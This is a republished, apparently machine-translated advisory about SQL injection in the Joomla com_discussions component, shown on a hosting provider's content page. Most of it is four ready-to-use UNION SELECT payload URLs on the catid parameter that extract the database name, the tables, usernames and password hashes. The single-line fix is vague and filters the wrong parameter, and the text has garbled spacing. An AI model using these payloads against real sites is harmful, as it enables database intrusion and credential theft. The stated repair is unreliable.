Joomla discussion component com_discussions SQL injection and repair

Source: Internet
Author: User

Title: Joomla Discussions Component (com_discussions) SQL Injection Vulnerability
Author: Red Security TEAM www.2cto.com
: Http://extensions.joomla.org/extensions/communication/forum/13560
Test Platform: CentOS
Test example:
# Http://www.bkjia.com/index. php? Option = com_discussions & view = thread & catid = [SQLi]
#
Example:
#
#1. [Get Database Name]
# Http://www.bkjia.com/index. php? Option = com_discussions & view = thread & catid = 1 'Union all select concat (0x7e, 0x27, unhex (Hex (cast (database () as char ))), 0x27, 0x7e) -- +
#2. [Get Tables Name]
# Http://www.bkjia.com/index. php? Option = com_discussions & view = thread & catid = 1 'Union all select (select concat (0x7e, 0x27, count (table_name), 0x27, 0x7e) from 'information _ scheme '. tables where table_schema = 0x6f7574706f7374715f6f65621376) -- +
#3. [Get Username]
# Http://www.bkjia.com/index. php? Option = com_discussions & view = thread & catid = 1 'Union all select (select concat (0x7e, 0x27, unhex (Hex (cast (jos_users.username as char ))), 0x27, 0x7e) from '[ Database Name] '. jos_users Order by username limit 0, 1) -- +
#4. [Get Password]
# Http://www.bkjia.com/index. php? Option = com_discussions & view = thread & catid = 1 'Union all select (select concat (0x7e, 0x27, unhex (Hex (cast (jos_users.password as char ))), 0x27, 0x7e) from '[ Database Name] '. jos_users Order by username limit 0, 1) -- +
#
Www.2cto.com provides the repair solution:
 
Filter option parameter input on the index. php page

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.